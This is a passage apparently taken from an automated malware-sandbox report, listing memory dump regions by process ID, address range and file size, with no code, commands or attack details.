                          • memory/1088-90-0x0000000001ED0000-0x0000000002505000-memory.dmp

                            Filesize

                            6.2MB

                          • memory/1088-105-0x000000000B8D0000-0x000000000BA05000-memory.dmp

                            Filesize

                            1.2MB

                          • memory/1088-165-0x000000000B8D0000-0x000000000BA05000-memory.dmp

                            Filesize

                            1.2MB

                          • memory/1088-102-0x000000000B8D0000-0x000000000BA05000-memory.dmp

                            Filesize

                            1.2MB

                          • memory/1088-100-0x0000000002510000-0x000000000264A000-memory.dmp

                            Filesize

                            1.2MB

                          • memory/1088-141-0x000000000AB20000-0x000000000AB30000-memory.dmp

                            Filesize

                            64KB

                          • memory/1088-94-0x0000000001ED0000-0x0000000002505000-memory.dmp

                            Filesize

                            6.2MB

                          • memory/1088-142-0x000000000AB20000-0x000000000AB30000-memory.dmp

                            Filesize

                            64KB

                          • memory/1088-103-0x0000000002510000-0x000000000264A000-memory.dmp

                            Filesize

                            1.2MB

                          • memory/1088-164-0x0000000002510000-0x000000000264A000-memory.dmp

                            Filesize

                            1.2MB

                          • memory/1088-163-0x0000000001ED0000-0x0000000002505000-memory.dmp

                            Filesize

                            6.2MB

                          • memory/1088-83-0x0000000000000000-mapping.dmp

                          • memory/1088-166-0x0000000002510000-0x000000000264A000-memory.dmp

                            Filesize

                            1.2MB

                          • memory/1140-130-0x0000000000000000-mapping.dmp

                          • memory/1196-133-0x0000000000000000-mapping.dmp

                          • memory/1208-137-0x0000000000000000-mapping.dmp

                          • memory/1292-149-0x0000000000000000-mapping.dmp

                          • memory/1324-108-0x0000000005300000-0x000000000544E000-memory.dmp

                            Filesize

                            1.3MB

                          • memory/1324-85-0x0000000000F10000-0x00000000011C4000-memory.dmp

                            Filesize

                            2.7MB

                          • memory/1324-155-0x0000000004BD5000-0x0000000004BE6000-memory.dmp

                            Filesize

                            68KB

                          • memory/1324-167-0x0000000004BD5000-0x0000000004BE6000-memory.dmp

                            Filesize

                            68KB

                          • memory/1324-156-0x0000000000DB0000-0x0000000000DC6000-memory.dmp

                            Filesize

                            88KB

                          • memory/1324-78-0x0000000000000000-mapping.dmp

                          • memory/1324-106-0x00000000051A0000-0x0000000005302000-memory.dmp

                            Filesize

                            1.4MB

                          • memory/1324-157-0x0000000000ED0000-0x0000000000EF0000-memory.dmp

                            Filesize

                            128KB

                          • memory/1324-109-0x0000000000290000-0x00000000002A4000-memory.dmp

                            Filesize

                            80KB

                          • memory/1328-127-0x0000000000000000-mapping.dmp

                          • memory/1328-153-0x0000000000000000-mapping.dmp

                          • memory/1360-123-0x0000000000000000-mapping.dmp

                          • memory/1360-150-0x0000000000000000-mapping.dmp

                          • memory/1396-148-0x0000000000000000-mapping.dmp

                          • memory/1448-99-0x0000000002090000-0x000000000271A000-memory.dmp

                            Filesize

                            6.5MB

                          • memory/1448-140-0x000000000F120000-0x000000000F177000-memory.dmp

                            Filesize

                            348KB

                          • memory/1448-96-0x0000000002090000-0x000000000271A000-memory.dmp

                            Filesize

                            6.5MB

                          • memory/1448-115-0x0000000001EF0000-0x0000000002038000-memory.dmp

                            Filesize

                            1.3MB

                          • memory/1448-88-0x0000000000000000-mapping.dmp

                          • memory/1448-162-0x0000000001EF0000-0x0000000002038000-memory.dmp

                            Filesize

                            1.3MB

                          • memory/1448-116-0x0000000001EF0000-0x0000000002038000-memory.dmp

                            Filesize

                            1.3MB

                          • memory/1448-158-0x0000000000340000-0x0000000000346000-memory.dmp

                            Filesize

                            24KB

                          • memory/1448-119-0x000000000F120000-0x000000000F177000-memory.dmp

                            Filesize

                            348KB

                          • memory/1452-152-0x0000000000000000-mapping.dmp

                          • memory/1452-66-0x0000000000400000-0x0000000000405000-memory.dmp

                            Filesize

                            20KB

                          • memory/1452-68-0x0000000000400000-0x0000000000405000-memory.dmp

                            Filesize

                            20KB

                          • memory/1452-73-0x0000000000400000-0x0000000000405000-memory.dmp

                            Filesize

                            20KB

                          • memory/1480-122-0x0000000000000000-mapping.dmp

                          • memory/1624-145-0x0000000000000000-mapping.dmp

                          • memory/1636-161-0x0000000000000000-mapping.dmp

                          • memory/1636-132-0x0000000000000000-mapping.dmp

                          • memory/1644-144-0x0000000000000000-mapping.dmp

                          • memory/1752-92-0x0000000000000000-mapping.dmp

                          • memory/1752-97-0x0000000000400000-0x00000000010F5000-memory.dmp

                            Filesize

                            13.0MB

                          • memory/1756-126-0x0000000000000000-mapping.dmp

                          • memory/1788-146-0x0000000000000000-mapping.dmp

                          • memory/1904-147-0x0000000000000000-mapping.dmp

                          • memory/1924-131-0x0000000000000000-mapping.dmp

                          • memory/1940-112-0x0000000000000000-mapping.dmp

                          • memory/1940-120-0x0000000002024000-0x0000000002027000-memory.dmp

                            Filesize

                            12KB

                          • memory/1940-121-0x000000000202B000-0x000000000204A000-memory.dmp

                            Filesize

                            124KB

                          • memory/1940-117-0x000007FEED350000-0x000007FEEDEAD000-memory.dmp

                            Filesize

                            11.4MB

                          • memory/1956-128-0x0000000000000000-mapping.dmp

                          • memory/1964-111-0x000007FEFBC61000-0x000007FEFBC63000-memory.dmp

                            Filesize

                            8KB

                          • memory/1964-110-0x000000001BA60000-0x000000001BE80000-memory.dmp

                            Filesize

                            4.1MB

                          • memory/1964-104-0x00000000000A0000-0x00000000004C0000-memory.dmp

                            Filesize

                            4.1MB

                          • memory/2044-95-0x0000000073E50000-0x00000000743FB000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2044-76-0x0000000073E50000-0x00000000743FB000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2044-74-0x0000000000000000-mapping.dmp